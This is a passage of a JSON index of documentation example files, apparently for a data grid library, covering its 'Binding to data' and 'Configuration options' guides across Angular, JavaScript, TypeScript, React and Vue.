"guides__getting-started__binding-to-data__react__example10.tsx.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example10", - "exampleTitle": "Understand binding as a reference", - "docPermalink": "/binding-to-data", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/getting-started/binding-to-data/javascript/example10.ts", - "file": "guides__getting-started__binding-to-data__javascript__example10.ts.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example10", - "exampleTitle": "Understand binding as a reference", - "docPermalink": "/binding-to-data", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/getting-started/binding-to-data/vue/example10.vue", - "file": "guides__getting-started__binding-to-data__vue__example10.vue.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example10", - "exampleTitle": "Understand binding as a reference", - "docPermalink": "/binding-to-data", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/getting-started/binding-to-data/angular/example11.ts", - "file": "guides__getting-started__binding-to-data__angular__example11.ts.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example11", - "exampleTitle": "Working with a copy of data", - "docPermalink": "/binding-to-data", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/getting-started/binding-to-data/javascript/example11.js", - "file": "guides__getting-started__binding-to-data__javascript__example11.js.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example11", - "exampleTitle": "Working with a copy of data", - "docPermalink": "/binding-to-data", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/getting-started/binding-to-data/react/example11.tsx", - "file": "guides__getting-started__binding-to-data__react__example11.tsx.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example11", - "exampleTitle": "Working with a copy of data", - "docPermalink": "/binding-to-data", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/getting-started/binding-to-data/javascript/example11.ts", - "file": "guides__getting-started__binding-to-data__javascript__example11.ts.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example11", - "exampleTitle": "Working with a copy of data", - "docPermalink": "/binding-to-data", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/getting-started/binding-to-data/vue/example11.vue", - "file": "guides__getting-started__binding-to-data__vue__example11.vue.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example11", - "exampleTitle": "Working with a copy of data", - "docPermalink": "/binding-to-data", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/getting-started/binding-to-data/angular/example1.ts", - "file": "guides__getting-started__binding-to-data__angular__example1.ts.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/binding-to-data", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/getting-started/binding-to-data/javascript/example1.js", - "file": "guides__getting-started__binding-to-data__javascript__example1.js.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/binding-to-data", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/getting-started/binding-to-data/react/example1.tsx", - "file": "guides__getting-started__binding-to-data__react__example1.tsx.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/binding-to-data", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/getting-started/binding-to-data/javascript/example1.ts", - "file": "guides__getting-started__binding-to-data__javascript__example1.ts.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/binding-to-data", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/getting-started/binding-to-data/vue/example1.vue", - "file": "guides__getting-started__binding-to-data__vue__example1.vue.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/binding-to-data", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/getting-started/binding-to-data/angular/example2.ts", - "file": "guides__getting-started__binding-to-data__angular__example2.ts.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example2", - "exampleTitle": "Array of arrays with a selective display of columns", - "docPermalink": "/binding-to-data", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/getting-started/binding-to-data/javascript/example2.js", - "file": "guides__getting-started__binding-to-data__javascript__example2.js.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example2", - "exampleTitle": "Array of arrays with a selective display of columns", - "docPermalink": "/binding-to-data", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/getting-started/binding-to-data/react/example2.tsx", - "file": "guides__getting-started__binding-to-data__react__example2.tsx.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example2", - "exampleTitle": "Array of arrays with a selective display of columns", - "docPermalink": "/binding-to-data", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/getting-started/binding-to-data/javascript/example2.ts", - "file": "guides__getting-started__binding-to-data__javascript__example2.ts.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example2", - "exampleTitle": "Array of arrays with a selective display of columns", - "docPermalink": "/binding-to-data", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/getting-started/binding-to-data/vue/example2.vue", - "file": "guides__getting-started__binding-to-data__vue__example2.vue.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example2", - "exampleTitle": "Array of arrays with a selective display of columns", - "docPermalink": "/binding-to-data", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/getting-started/binding-to-data/angular/example3.ts", - "file": "guides__getting-started__binding-to-data__angular__example3.ts.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example3", - "exampleTitle": "Array of objects", - "docPermalink": "/binding-to-data", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/getting-started/binding-to-data/javascript/example3.js", - "file": "guides__getting-started__binding-to-data__javascript__example3.js.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example3", - "exampleTitle": "Array of objects", - "docPermalink": "/binding-to-data", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/getting-started/binding-to-data/react/example3.tsx", - "file": "guides__getting-started__binding-to-data__react__example3.tsx.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example3", - "exampleTitle": "Array of objects", - "docPermalink": "/binding-to-data", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/getting-started/binding-to-data/javascript/example3.ts", - "file": "guides__getting-started__binding-to-data__javascript__example3.ts.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example3", - "exampleTitle": "Array of objects", - "docPermalink": "/binding-to-data", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/getting-started/binding-to-data/vue/example3.vue", - "file": "guides__getting-started__binding-to-data__vue__example3.vue.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example3", - "exampleTitle": "Array of objects", - "docPermalink": "/binding-to-data", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/getting-started/binding-to-data/angular/example4.ts", - "file": "guides__getting-started__binding-to-data__angular__example4.ts.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example4", - "exampleTitle": "Array of objects with column as a function", - "docPermalink": "/binding-to-data", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/getting-started/binding-to-data/javascript/example4.js", - "file": "guides__getting-started__binding-to-data__javascript__example4.js.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example4", - "exampleTitle": "Array of objects with column as a function", - "docPermalink": "/binding-to-data", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/getting-started/binding-to-data/react/example4.tsx", - "file": "guides__getting-started__binding-to-data__react__example4.tsx.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example4", - "exampleTitle": "Array of objects with column as a function", - "docPermalink": "/binding-to-data", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/getting-started/binding-to-data/javascript/example4.ts", - "file": "guides__getting-started__binding-to-data__javascript__example4.ts.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example4", - "exampleTitle": "Array of objects with column as a function", - "docPermalink": "/binding-to-data", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/getting-started/binding-to-data/vue/example4.vue", - "file": "guides__getting-started__binding-to-data__vue__example4.vue.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example4", - "exampleTitle": "Array of objects with column as a function", - "docPermalink": "/binding-to-data", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/getting-started/binding-to-data/angular/example5.ts", - "file": "guides__getting-started__binding-to-data__angular__example5.ts.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example5", - "exampleTitle": "Array of objects with column mapping", - "docPermalink": "/binding-to-data", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/getting-started/binding-to-data/javascript/example5.js", - "file": "guides__getting-started__binding-to-data__javascript__example5.js.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example5", - "exampleTitle": "Array of objects with column mapping", - "docPermalink": "/binding-to-data", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/getting-started/binding-to-data/react/example5.tsx", - "file": "guides__getting-started__binding-to-data__react__example5.tsx.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example5", - "exampleTitle": "Array of objects with column mapping", - "docPermalink": "/binding-to-data", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/getting-started/binding-to-data/javascript/example5.ts", - "file": "guides__getting-started__binding-to-data__javascript__example5.ts.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example5", - "exampleTitle": "Array of objects with column mapping", - "docPermalink": "/binding-to-data", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/getting-started/binding-to-data/vue/example5.vue", - "file": "guides__getting-started__binding-to-data__vue__example5.vue.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example5", - "exampleTitle": "Array of objects with column mapping", - "docPermalink": "/binding-to-data", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/getting-started/binding-to-data/angular/example6.ts", - "file": "guides__getting-started__binding-to-data__angular__example6.ts.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example6", - "exampleTitle": "Array of objects with custom data schema", - "docPermalink": "/binding-to-data", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/getting-started/binding-to-data/javascript/example6.js", - "file": "guides__getting-started__binding-to-data__javascript__example6.js.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example6", - "exampleTitle": "Array of objects with custom data schema", - "docPermalink": "/binding-to-data", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/getting-started/binding-to-data/react/example6.tsx", - "file": "guides__getting-started__binding-to-data__react__example6.tsx.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example6", - "exampleTitle": "Array of objects with custom data schema", - "docPermalink": "/binding-to-data", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/getting-started/binding-to-data/javascript/example6.ts", - "file": "guides__getting-started__binding-to-data__javascript__example6.ts.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example6", - "exampleTitle": "Array of objects with custom data schema", - "docPermalink": "/binding-to-data", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/getting-started/binding-to-data/vue/example6.vue", - "file": "guides__getting-started__binding-to-data__vue__example6.vue.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example6", - "exampleTitle": "Array of objects with custom data schema", - "docPermalink": "/binding-to-data", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/getting-started/binding-to-data/angular/example7.ts", - "file": "guides__getting-started__binding-to-data__angular__example7.ts.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example7", - "exampleTitle": "Function data source and schema", - "docPermalink": "/binding-to-data", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/getting-started/binding-to-data/javascript/example7.js", - "file": "guides__getting-started__binding-to-data__javascript__example7.js.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example7", - "exampleTitle": "Function data source and schema", - "docPermalink": "/binding-to-data", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/getting-started/binding-to-data/react/example7.tsx", - "file": "guides__getting-started__binding-to-data__react__example7.tsx.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example7", - "exampleTitle": "Function data source and schema", - "docPermalink": "/binding-to-data", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/getting-started/binding-to-data/javascript/example7.ts", - "file": "guides__getting-started__binding-to-data__javascript__example7.ts.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example7", - "exampleTitle": "Function data source and schema", - "docPermalink": "/binding-to-data", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/getting-started/binding-to-data/vue/example7.vue", - "file": "guides__getting-started__binding-to-data__vue__example7.vue.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example7", - "exampleTitle": "Function data source and schema", - "docPermalink": "/binding-to-data", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/getting-started/binding-to-data/angular/example9.ts", - "file": "guides__getting-started__binding-to-data__angular__example9.ts.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example9", - "exampleTitle": "No data", - "docPermalink": "/binding-to-data", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/getting-started/binding-to-data/javascript/example9.js", - "file": "guides__getting-started__binding-to-data__javascript__example9.js.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example9", - "exampleTitle": "No data", - "docPermalink": "/binding-to-data", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/getting-started/binding-to-data/react/example9.tsx", - "file": "guides__getting-started__binding-to-data__react__example9.tsx.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example9", - "exampleTitle": "No data", - "docPermalink": "/binding-to-data", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/getting-started/binding-to-data/javascript/example9.ts", - "file": "guides__getting-started__binding-to-data__javascript__example9.ts.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example9", - "exampleTitle": "No data", - "docPermalink": "/binding-to-data", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/getting-started/binding-to-data/vue/example9.vue", - "file": "guides__getting-started__binding-to-data__vue__example9.vue.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example9", - "exampleTitle": "No data", - "docPermalink": "/binding-to-data", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/getting-started/configuration-options/angular/example1.ts", - "file": "guides__getting-started__configuration-options__angular__example1.ts.json", - "breadcrumb": [ - "Getting Started", - "Configuration options" - ], - "guide": "guides/getting-started/configuration-options/configuration-options.md", - "guideTitle": "Configuration options", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/configuration-options", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/getting-started/configuration-options/javascript/example1.js", - "file": "guides__getting-started__configuration-options__javascript__example1.js.json", - "breadcrumb": [ - "Getting Started", - "Configuration options" - ], - "guide": "guides/getting-started/configuration-options/configuration-options.md", - "guideTitle": "Configuration options", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/configuration-options", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/getting-started/configuration-options/react/example1.tsx", - "file": "guides__getting-started__configuration-options__react__example1.tsx.json", - "breadcrumb": [ - "Getting Started", - "Configuration options" - ], - "guide": "guides/getting-started/configuration-options/configuration-options.md", - "guideTitle": "Configuration options", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/configuration-options", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/getting-started/configuration-options/javascript/example1.ts", - "file": "guides__getting-started__configuration-options__javascript__example1.ts.json", - "breadcrumb": [ - "Getting Started", - "Configuration options" - ], - "guide": "guides/getting-started/configuration-options/configuration-options.md", - "guideTitle": "Configuration options", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/configuration-options", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/getting-started/configuration-options/vue/example1.vue", - "file": "guides__getting-started__configuration-options__vue__example1.vue.json", - "breadcrumb": [ - "Getting Started", - "Configuration options" - ], - "guide": "guides/getting-started/configuration-options/configuration-options.md", - "guideTitle": "Configuration options", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/configuration-options", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/getting-started/configuration-options/angular/example2.ts", - "file": "guides__getting-started__configuration-options__angular__example2.ts.json", - "breadcrumb": [ - "Getting Started", - "Configuration options" - ], - "guide": "guides/getting-started/configuration-options/configuration-options.md", - "guideTitle": "Configuration options", - "exampleId": "example2", - "exampleTitle": "Example", - "docPermalink": "/configuration-options", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/getting-started/configuration-options/javascript/example2.js", - "file": "guides__getting-started__configuration-options__javascript__example2.js.json", - "breadcrumb": [ - "Getting Started", - "Configuration options" - ], - "guide": "guides/getting-started/configuration-options/configuration-options.md", - "guideTitle": "Configuration options", - "exampleId": "example2", - "exampleTitle": "Example", - "docPermalink": "/configuration-options", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/getting-started/configuration-options/react/example2.tsx", - "file": "guides__getting-started__configuration-options__react__example2.tsx.json", - "breadcrumb": [ - "Getting Started", - "Configuration options" - ], - "guide": "guides/getting-started/configuration-options/configuration-options.md", - "guideTitle": "Configuration options", - "exampleId": "example2", - "exampleTitle": "Example", - "docPermalink": "/configuration-options", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/getting-started/configuration-options/javascript/example2.ts", - "file": "guides__getting-started__configuration-options__javascript__example2.ts.json", - "breadcrumb": [ - "Getting Started", - "Configuration options" - ], - "guide": "guides/getting-started/configuration-options/configuration-options.md", - "guideTitle": "Configuration options", - "exampleId": "example2", - "exampleTitle": "Example", - "docPermalink": "/configuration-options", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/getting-started/configuration-options/vue/example2.vue", - "file": "guides__getting-started__configuration-options__vue__example2.vue.json", - "breadcrumb": [ - "Getting Started", - "Configuration options" - ], - "guide": "guides/getting-started/configuration-options/configuration-options.md", - "guideTitle": "Configuration options", - "exampleId": "example2", - "exampleTitle": "Example", - "docPermalink": "/configuration-options", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/getting-started/configuration-options/angular/example3.ts", - "file": "guides__getting-started__configuration-options__angular__example3.ts.json", - "breadcrumb": [ - "Getting Started", - "Configuration options" - ], - "guide": "guides/getting-started/configuration-options/configuration-options.md", - "guideTitle": "Configuration options", - "exampleId": "example3", - "exampleTitle": "Example (2)", - "docPermalink": "/configuration-options", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/getting-started/configuration-options/javascript/example3.js", - "file": "guides__getting-started__configuration-options__javascript__example3.js.json", - "breadcrumb": [ - "Getting Started", - "Configuration options" - ], - "guide": "guides/getting-started/configuration-options/configuration-options.md", - "guideTitle": "Configuration options", - "exampleId": "example3", - "exampleTitle": "Example (2)", - "docPermalink": "/configuration-options", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/getting-started/configuration-options/react/example3.tsx", - "file": "guides__getting-started__configuration-options__react__example3.tsx.json", - "breadcrumb": [ - "Getting Started", - "Configuration options" - ], - "guide": "guides/getting-started/configuration-options/configuration-options.md", - "guideTitle": "Configuration options", - "exampleId": "example3", - "exampleTitle": "Example (2)", - "docPermalink": "/configuration-options", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/getting-started/configuration-options/javascript/example3.ts", - "file": "guides__getting-started__configuration-options__javascript__example3.ts.json", - "breadcrumb": [ - "Getting Started", - "Configuration options" - ], - "guide": "guides/getting-started/configuration-options/configuration-options.md", - "guideTitle": "Configuration options", - "exampleId": "example3", - "exampleTitle": "Example (2)", - "docPermalink": "/configuration-options", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/getting-started/configuration-options/vue/example3.vue", - "file": "guides__getting-started__configuration-options__vue__example3.vue.json", - "breadcrumb": [ - "Getting Started", - "Configuration options" - ], - "guide": "guides/getting-started/configuration-options/configuration-options.md", - "guideTitle": "Configuration options", - "exampleId": "example3", - "exampleTitle": "Example (2)", - "docPermalink": "/configuration-options", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/getting-started/configuration-options/angular/example4.ts", - "file": "guides__getting-started__configuration-options__angular__example4.ts.json", - "breadcrumb": [ - "Getting Started", - "Configuration options" - ], - "guide": "guides/getting-started/configuration-options/configuration-options.md", - "guideTitle": "Configuration options", - "exampleId": "example4", - "exampleTitle": "Example (3)", - "docPermalink": "/configuration-options", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/getting-started/configuration-options/javascript/example4.js", - "file": "guides__getting-started__configuration-options__javascript__example4.js.json", - "breadcrumb": [ - "Getting Started", - "Configuration options" - ], - "guide": "guides/getting-started/configuration-options/configuration-options.md", - "guideTitle": "Configuration options", - "exampleId": "example4", - "exampleTitle": "Example (3)", - "docPermalink": "/configuration-options", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/getting-started/configuration-options/react/example4.tsx", - "file": "guides__getting-started__configuration-options__react__example4.tsx.json", - "breadcrumb": [ - "Getting Started", - "Configuration options" - ], - "guide": "guides/getting-started/configuration-options/configuration-options.md", - "guideTitle": "Configuration options", - "exampleId": "example4", - "exampleTitle": "Example (3)", - "docPermalink": "/configuration-options", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/getting-started/configuration-options/javascript/example4.ts", - "file": "guides__getting-started__configuration-options__javascript__example4.ts.json", - "breadcrumb": [ - "Getting Started", - "Configuration options" - ], - "guide": "guides/getting-started/configuration-options/configuration-options.md", - "guideTitle": "Configuration options", - "exampleId": "example4", - "exampleTitle": "Example (3)", - "docPermalink": "/configuration-options", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/getting-started/configuration-options/vue/example4.vue", - "file": "guides__getting-started__configuration-options__vue__example4.vue.json", - "breadcrumb": [ - "Getting Started", - "Configuration options" - ], - "guide": "guides/getting-started/configuration-options/configuration-options.md", - "guideTitle": "Configuration options", - "exampleId": "example4", - "exampleTitle": "Example (3)", - "docPermalink": "/configuration-options", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/getting-started/configuration-options/javascript/example5.js", - "file": "guides__getting-started__configuration-options__javascript__example5.js.json", - "breadcrumb": [ - "Getting Started", - "Configuration options" - ], - "guide": "guides/getting-started/configuration-options/configuration-options.md", - "guideTitle": "Configuration options", - "exampleId": "example5", - "exampleTitle": "Example (4)", - "docPermalink": "/configuration-options", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/getting-started/configuration-options/javascript/example5.ts", - "file": "guides__getting-started__configuration-options__javascript__example5.ts.json", - "breadcrumb": [ - "Getting Started", - "Configuration options" - ], - "guide": "guides/getting-started/configuration-options/configuration-options.md", - "guideTitle": "Configuration options", - "exampleId": "example5", - "exampleTitle": "Example (4)", - "docPermalink": "/configuration-options", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/getting-started/configuration-options/angular/example6.ts", - "file": "guides__getting-started__configuration-options__angular__example6.ts.json", - "breadcrumb": [ - "Getting Started", - "Configuration options" - ], - "guide": "guides/getting-started/configuration-options/configuration-options.md", - "guideTitle": "Configuration options", - "exampleId": "example6", - "exampleTitle": "Configuration example", - "docPermalink": "/configuration-options", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/getting-started/configuration-options/javascript/example6.js", - "file": "guides__getting-started__configuration-options__javascript__example6.js.json", - "breadcrumb": [ - "Getting Started", - "Configuration options" - ], - "guide": "guides/getting-started/configuration-options/configuration-options.md", - "guideTitle": "Configuration options", - "exampleId": "example6", - "exampleTitle": "Configuration example", - "docPermalink": 